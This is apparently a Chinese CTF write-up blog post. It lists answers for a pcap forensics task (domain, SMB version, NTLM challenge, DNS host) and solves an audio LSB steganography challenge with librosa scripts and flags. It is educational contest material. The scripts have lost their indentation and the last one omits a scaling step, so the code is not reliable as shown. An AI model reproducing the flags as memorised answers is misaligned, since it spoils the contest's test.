【描述】现在请你进一步分析黑客建立域成员机横向文件传输时的第一次通信流量,通过流量分析出

1. 域环境的域名

2. 文件传输时所用的smb版本号

3. NTLM认证时挑战/咨询机制加密hash生成request/response所用到的密钥

4. DNS服务器所处机器的机器名

【附件】请从ez_pcap_1题目处下载,该题为同一个附件

【flag】SYC{md5(域名&smb版本号&密钥&目标机器名)}

【注意】答案所用的smb版本号是十六进制格式,四个答案之间请用&连接

【例如】SYC{md5(starven.com&xxxxxx&xxxxxx&ComputerName)}

【则答案为】用SYC包裹的32位小写md5加密后的值 :SYC{40e0c34cf4529be025d4d64ca4f20c85}

域环境的域名:root.com:

文件传输时所用的smb版本号:0x0210

NTLM认证时挑战/咨询机制加密hash生成request/response所用到的密钥:44074afa7d98863c

DNS服务器所处机器的机器名:WIN-GP726AF9QHQ.root.com

音乐大师

题目描述:

1
parar师傅励志成为下一位名侦探柯南,发现藏匿在音乐中的秘密却犯难,你有什么办法帮助他吗?

下载附件

首先拿到附件拿到一个secret.wav的音频文件,还有一张图片,本来这道题出在新生赛是为了培养一下 对于音频题目的数据分析能力的 对于图片的信息处理我们发现存在一个lab隐写

这里的Hint是提示去搜索音频隐写相关的内容,引导去搜索音频的lsb隐写 对图片再进行一步foremost提取

发现存在一个音频文件 由于LSB隐写(Least Significant Bit Steganography)是一种将秘密信息嵌入到载体数据(如图像或音 频)中的技术。它通过修改载体数据的最低有效位来隐藏信息。由于最低有效位的变化对载体数据的整 体影响很小,因此这种方法可以在不显著改变载体数据的情况下隐藏信息 对于wav音频是float32的样品数据,我们可以借助python的librosa库来分析下得到的音频的浮点样品数 据 由于此时我们得到两个音频数据,进一步分析下音频数据的区别 脚本如下

exp:

1
2
3
4
5
6
7
8
9
10
import librosa

audiofile1 = 'E:\\脚本合集\\赛题脚本\\geekchallenge2024\\音频lsb\\secret.wav'
data1, sr1 = librosa.load(audiofile1, sr=None, dtype='float32')

audiofile2 = 'E:\\脚本合集\\赛题脚本\\geekchallenge2024\\音频lsb\\00000758.wav'
data2, sr2 = librosa.load(audiofile2, sr=None, dtype='float32')

print("data1:",data1[:200])
print("data2:",data2[:200])

由于整个样品浮点数据比较大,我们这里不断调试下观察的数据长度,发现如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
ata1: [ 2.33650208e-05  6.55651093e-06  8.46385956e-06  1.83582306e-05
-1.27553940e-05 1.75237656e-05 9.77516174e-06 5.12599945e-06
1.01327896e-05 1.19209290e-07 1.37090683e-05 3.51667404e-05
2.32458115e-05 3.57627869e-05 3.76701355e-05 3.64780426e-05
2.01463699e-05 -2.26497650e-06 2.14576721e-06 7.03334808e-06
4.88758087e-06 5.96046448e-07 -1.07288361e-06 -1.54972076e-06
-2.38418579e-06 1.93119049e-05 5.36441803e-06 2.14576721e-05
1.26361847e-05 2.36034393e-05 2.25305557e-05 3.31401825e-05
6.31809235e-06 1.14440918e-05 3.50475311e-05 -1.19209290e-06
1.08480453e-05 8.22544098e-06 -2.62260437e-06 1.03712082e-05
1.23977661e-05 -7.15255737e-07 9.53674316e-07 1.18017197e-05
5.36441803e-06 7.03334808e-06 1.54972076e-06 1.47819519e-05
8.58306885e-06 1.08480453e-05 7.15255737e-06 2.01463699e-05
-5.00679016e-06 6.91413879e-06 2.31266022e-05 -6.31809235e-06
1.19209290e-07 1.80006027e-05 -1.90734863e-06 6.19888306e-06
1.90734863e-05 1.81198120e-05 2.45571136e-05 1.35898590e-05
1.58548355e-05 2.38418579e-07 1.09672546e-05 9.29832458e-06
5.00679016e-06 1.81198120e-05 1.87158585e-05 3.19480896e-05
4.52995300e-06 2.57492065e-05 1.68085098e-05 5.12599945e-06
8.70227814e-06 7.39097595e-06 1.53779984e-05 1.66893005e-05
5.48362732e-06 2.01463699e-05 1.60932541e-05 3.69548798e-06
-1.54972076e-06 1.81198120e-05 8.46385956e-06 5.36441803e-06
1.02519989e-05 4.76837158e-07 1.65700912e-05 2.15768814e-05
-2.50339508e-06 2.38418579e-06 1.65700912e-05 7.39097595e-06
-2.50339508e-06 -8.34465027e-07 8.22544098e-06 7.62939453e-06
-2.74181366e-06 1.47819519e-05 7.86781311e-06 0.00000000e+00
-3.21865082e-06 1.90734863e-05 7.27176666e-06 -3.21865082e-06
-4.05311584e-06 1.22785568e-05 1.35898590e-05 1.14440918e-05
-8.70227814e-06 5.72204590e-06 2.08616257e-05 -3.69548798e-06
2.33650208e-05 1.26361847e-05 -5.96046448e-07 9.41753387e-06
4.17232513e-06 7.86781311e-06 1.63316727e-05 2.19345093e-05
1.22785568e-05 9.05990601e-06 1.54972076e-06 2.55107880e-05
4.41074371e-06 2.15768814e-05 3.30209732e-05 1.28746033e-05
8.34465027e-06 1.56164169e-05 1.81198120e-05 1.04904175e-05
1.21593475e-05 8.58306885e-06 1.82390213e-05 2.26497650e-06
3.81469727e-06 1.85966492e-05 1.63316727e-05 1.70469284e-05
1.21593475e-05 1.20401382e-05 1.90734863e-05 1.22785568e-05
2.74181366e-06 -2.86102295e-06 -4.17232513e-06 5.84125519e-06
-1.12056732e-05 6.31809235e-06 -1.21593475e-05 -7.27176666e-06
0.00000000e+00 -1.25169754e-05 -1.03712082e-05 -7.98702240e-06
-4.76837158e-07 9.17911530e-06 4.17232513e-06 -2.31266022e-05
-4.52995300e-06 1.19209290e-07 0.00000000e+00 0.00000000e+00
-3.57627869e-07 3.57627869e-07 -7.15255737e-07 8.34465027e-06
-1.07288361e-06 -1.37090683e-05 -4.76837158e-06 -5.24520874e-06
2.26497650e-06 -2.14576721e-06 2.50339508e-06 1.12056732e-05
1.06096268e-05 8.34465027e-06 -1.19209290e-06 -1.66893005e-06
8.70227814e-06 1.00135803e-05 4.41074371e-06 1.65700912e-05
-3.57627869e-07 -8.34465027e-07 2.38418579e-06 -7.27176666e-06
4.17232513e-06 1.15633011e-05 3.33786011e-06 2.26497650e-06
-1.19209290e-06 -1.19209290e-07 1.90734863e-06 -9.41753387e-06]
data2: [ 2.14576721e-05 4.64916229e-06 7.51018524e-06 1.44243240e-05
-1.46627426e-05 1.56164169e-05 6.79492950e-06 3.21865082e-06
8.22544098e-06 -8.34465027e-07 1.27553940e-05 3.12328339e-05
2.13384628e-05 3.18288803e-05 3.46899033e-05 3.25441360e-05
1.82390213e-05 -6.19888306e-06 2.38418579e-07 3.09944153e-06
2.98023224e-06 -2.38418579e-06 -2.02655792e-06 -3.45706940e-06
-4.29153442e-06 1.53779984e-05 3.45706940e-06 1.84774399e-05
1.07288361e-05 2.16960907e-05 1.85966492e-05 2.92062759e-05
4.41074371e-06 1.04904175e-05 3.11136246e-05 -2.14576721e-06
8.94069672e-06 6.31809235e-06 -3.57627869e-06 6.43730164e-06
1.04904175e-05 -1.66893005e-06 0.00000000e+00 8.82148743e-06
3.45706940e-06 5.12599945e-06 -2.38418579e-06 1.08480453e-05
6.67572021e-06 7.86781311e-06 6.19888306e-06 1.71661377e-05
-6.91413879e-06 2.98023224e-06 2.12192535e-05 -8.22544098e-06
-1.78813934e-06 1.40666962e-05 -3.81469727e-06 5.24520874e-06
1.71661377e-05 1.62124634e-05 2.06232071e-05 9.65595245e-06
1.39474869e-05 -1.66893005e-06 7.98702240e-06 7.39097595e-06
3.09944153e-06 1.51395798e-05 1.47819519e-05 2.80141830e-05
2.62260437e-06 2.18153000e-05 1.49011612e-05 3.21865082e-06
6.79492950e-06 5.48362732e-06 1.14440918e-05 1.27553940e-05
3.57627869e-06 1.71661377e-05 1.51395798e-05 -2.38418579e-07
-3.45706940e-06 1.51395798e-05 7.51018524e-06 3.45706940e-06
8.34465027e-06 -2.50339508e-06 1.26361847e-05 1.85966492e-05
-4.41074371e-06 4.76837158e-07 1.26361847e-05 3.45706940e-06
-4.41074371e-06 -3.81469727e-06 6.31809235e-06 3.69548798e-06
-4.64916229e-06 1.18017197e-05 5.96046448e-06 -1.90734863e-06
-5.12599945e-06 1.51395798e-05 5.36441803e-06 -4.17232513e-06
-5.96046448e-06 1.03712082e-05 9.65595245e-06 7.51018524e-06
-1.06096268e-05 4.76837158e-06 1.69277191e-05 -5.60283661e-06
2.24113464e-05 8.70227814e-06 -1.54972076e-06 5.48362732e-06
2.26497650e-06 5.96046448e-06 1.23977661e-05 1.80006027e-05
1.03712082e-05 8.10623169e-06 5.96046448e-07 2.15768814e-05
2.50339508e-06 1.85966492e-05 2.90870667e-05 8.94069672e-06
6.43730164e-06 1.26361847e-05 1.41859055e-05 9.53674316e-06
1.02519989e-05 5.60283661e-06 1.43051147e-05 1.31130219e-06
2.86102295e-06 1.56164169e-05 1.53779984e-05 1.51395798e-05
1.02519989e-05 8.10623169e-06 1.51395798e-05 1.03712082e-05
2.74181366e-06 -2.86102295e-06 -4.17232513e-06 5.84125519e-06
-1.12056732e-05 6.31809235e-06 -1.21593475e-05 -7.27176666e-06
0.00000000e+00 -1.25169754e-05 -1.03712082e-05 -7.98702240e-06
-4.76837158e-07 9.17911530e-06 4.17232513e-06 -2.31266022e-05
-4.52995300e-06 1.19209290e-07 0.00000000e+00 0.00000000e+00
-3.57627869e-07 3.57627869e-07 -7.15255737e-07 8.34465027e-06
-1.07288361e-06 -1.37090683e-05 -4.76837158e-06 -5.24520874e-06
2.26497650e-06 -2.14576721e-06 2.50339508e-06 1.12056732e-05
1.06096268e-05 8.34465027e-06 -1.19209290e-06 -1.66893005e-06
8.70227814e-06 1.00135803e-05 4.41074371e-06 1.65700912e-05
-3.57627869e-07 -8.34465027e-07 2.38418579e-06 -7.27176666e-06
4.17232513e-06 1.15633011e-05 3.33786011e-06 2.26497650e-06
-1.19209290e-06 -1.19209290e-07 1.90734863e-06 -9.41753387e-06]

分析了下发现只有前面148位的数据是不同的(本来想放出hint flag位数是37位的,由于有师傅做出来了 就没有继续放),那么问题就在这里,由于原音频的浮点数据是干净的,所以我们只需要通过借助加密的 样品数据减去每一个对应的原数据就是加密的数据 如下

1
2
3
4
5
[np.float32(1.9073486e-06), np.float32(1.9073486e-06), np.float32(9.536743e-07), 
np.float32(3.9339066e-06)
......
np.float32(9.536743e-07), np.float32(1.9073486e-06), np.float32(1.9073486e-06),
np.float32(3.9339066e-06), np.float32(3.9339066e-06), np.float32(1.9073486e-06)]

观察一下这组数据, 由于数据太小我们不好分析(1.9073486e-06 是一个非常小的浮点数,这个数值大约等于 0.0000019073486),我们可以尝试对应扩大来转换为整数,这里扩大到1000000倍(刚好能对应转换为 整型数据来分析)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
import librosa
audiofile1 = 'E:\\脚本合集\\赛题脚本\\geekchallenge2024\\音频lsb\\secret.wav'
data1, sr1 = librosa.load(audiofile1, sr=None, dtype='float32')
audiofile2 = 'E:\\脚本合集\\赛题脚本\\geekchallenge2024\\音频lsb\\00000758.wav'
data2, sr2 = librosa.load(audiofile2, sr=None, dtype='float32')
# print(data1[:148])  
# print(data2[:148])  
res=[]
for i in range(0,148):
res.append(((data1[i]-data2[i])*10000000))

print(res)

得到数据

1
[np.float32(19.073486), np.float32(19.073486), np.float32(9.536743), np.float32(39.339066), np.float32(19.073486), np.float32(19.073486), np.float32(29.802322), np.float32(19.073486), np.float32(19.073486), np.float32(9.536743), np.float32(9.536743), np.float32(39.339066), np.float32(19.073486), np.float32(39.339066), np.float32(29.802322), np.float32(39.339066), np.float32(19.073486), np.float32(39.339066), np.float32(19.073486), np.float32(39.339066), np.float32(19.073486), np.float32(29.802322), np.float32(9.536743), np.float32(19.073486), np.float32(19.073486), np.float32(39.339066), np.float32(19.073486), np.float32(29.802322), np.float32(19.073486), np.float32(19.073486), np.float32(39.339066), np.float32(39.339066), np.float32(19.073486), np.float32(9.536743), np.float32(39.339066), np.float32(9.536743), np.float32(19.073486), np.float32(19.073486), np.float32(9.536743), np.float32(39.339066), np.float32(19.073486), np.float32(9.536743), np.float32(9.536743), np.float32(29.802322), np.float32(19.073486), np.float32(19.073486), np.float32(39.339066), np.float32(39.339066), np.float32(19.073486), np.float32(29.802322), np.float32(9.536743), np.float32(29.802322), np.float32(19.073486), np.float32(39.339066), np.float32(19.073486), np.float32(19.073486), np.float32(19.073486), np.float32(39.339066), np.float32(19.073486), np.float32(9.536743), np.float32(19.073486), np.float32(19.073486), np.float32(39.339066), np.float32(39.339066), np.float32(19.073486), np.float32(19.073486), np.float32(29.802322), np.float32(19.073486), np.float32(19.073486), np.float32(29.802322), np.float32(39.339066), np.float32(39.339066), np.float32(19.073486), np.float32(39.339066), np.float32(19.073486), np.float32(19.073486), np.float32(19.073486), np.float32(19.073486), np.float32(39.339066), np.float32(39.339066), np.float32(19.073486), np.float32(29.802322), np.float32(9.536743), np.float32(39.339066), np.float32(19.073486), np.float32(29.802322), np.float32(9.536743), np.float32(19.073486), np.float32(19.073486), np.float32(29.802322), np.float32(39.339066), np.float32(29.802322), np.float32(19.073486), np.float32(19.073486), np.float32(39.339066), np.float32(39.339066), np.float32(19.073486), np.float32(29.802322), np.float32(19.073486), np.float32(39.339066), np.float32(19.073486), np.float32(29.802322), np.float32(19.073486), np.float32(19.073486), np.float32(19.073486), np.float32(39.339066), np.float32(19.073486), np.float32(9.536743), np.float32(19.073486), np.float32(19.073486), np.float32(39.339066), np.float32(39.339066), np.float32(19.073486), np.float32(9.536743), np.float32(39.339066), np.float32(19.073486), np.float32(9.536743), np.float32(39.339066), np.float32(9.536743), np.float32(39.339066), np.float32(19.073486), np.float32(19.073486), np.float32(39.339066), np.float32(39.339066), np.float32(19.073486), np.float32(9.536743), np.float32(9.536743), np.float32(39.339066), np.float32(19.073486), np.float32(29.802322), np.float32(39.339066), np.float32(39.339066), np.float32(19.073486), np.float32(29.802322), np.float32(39.339066), np.float32(9.536743), np.float32(19.073486), np.float32(29.802322), np.float32(39.339066), np.float32(9.536743), np.float32(9.536743), np.float32(29.802322), np.float32(9.536743), np.float32(19.073486), np.float32(19.073486), np.float32(39.339066), np.float32(39.339066), np.float32(19.073486)]

发现此时转换为整数的话小数点后面的数据影响不大,由此转换可得数据

1
2
3
4
5
6
7
8
[19, 19, 9, 39, 19, 19, 29, 19, 19, 9, 9, 39, 19, 39, 29, 39, 19, 39, 19, 39, 19, 
29, 9, 19, 19, 39, 19, 29, 19, 19, 39, 39, 19, 9, 39, 9, 19, 19, 9, 39, 19, 9, 9,
29, 19, 19, 39, 39, 19, 29, 9, 29, 19, 39, 19, 19, 19, 39, 19, 9, 19, 19, 39, 39,
19, 19, 29, 19, 19, 29, 39, 39, 19, 39, 19, 19, 19, 19, 39, 39, 19, 29, 9, 39,
19, 29, 9, 19, 19, 29, 39, 29, 19, 19, 39, 39, 19, 29, 19, 39, 19, 29, 19, 19,
19, 39, 19, 9, 19, 19, 39, 39, 19, 9, 39, 19, 9, 39, 9, 39, 19, 19, 39, 39, 19,
9, 9, 39, 19, 29, 39, 39, 19, 29, 39, 9, 19, 29, 39, 9, 9, 29, 9, 19, 19, 39, 39,
19]

观察数据发现只有9,19,29,39四种数据,一共有148位数据,flag位数一般在24-42左右 结合数据来看可能存在是4位一组一共37组,至于对于9,19,29,39四种数据的处理,由于只有4位数据可 以被替代,在进制中最可能的就是2进制,由于只有0和1两个数据,2进制数据若是两个组合,那么刚好 可能存在的就是00,01,11,10,按顺序排可能的情况就是

1
2
00,01,10,11
11,10,01,00

两种 分别尝试把9,19,29,39去替换可以获得两个二进制数据 脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import librosa 
import numpy as np

key_int ={9:'00',19:'01',29:'10',39:'11'}
audiofile1 = 'E:\\脚本合集\\赛题脚本\\geekchallenge2024\\音频lsb\\secret.wav'
data1, sr1 = librosa.load(audiofile1, sr=None, dtype='float32')
audiofile2 = 'E:\\脚本合集\\赛题脚本\\geekchallenge2024\\音频lsb\\00000758.wav'
data2, sr2 = librosa.load(audiofile2, sr=None, dtype='float32')
# print(data1[:148])  
# print(data2[:148])  
res=[]
for i in range(0,148):
res.append(((data1[i]-data2[i])))

print(res)


res_binary = []
for i in res:
if i in key_int:
res_binary.append(key_int[i])
else:
res_binary.append(None)

print(res_binary)
binary_flag = ''
for i in res_binary:
binary_flag+=i


print(binary_flag)

二进制一把梭

最后flag为

1
SYC{wav_LSB_but_You_can_get_M3_Coll!}


文章作者: yiqing
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yiqing !
  目录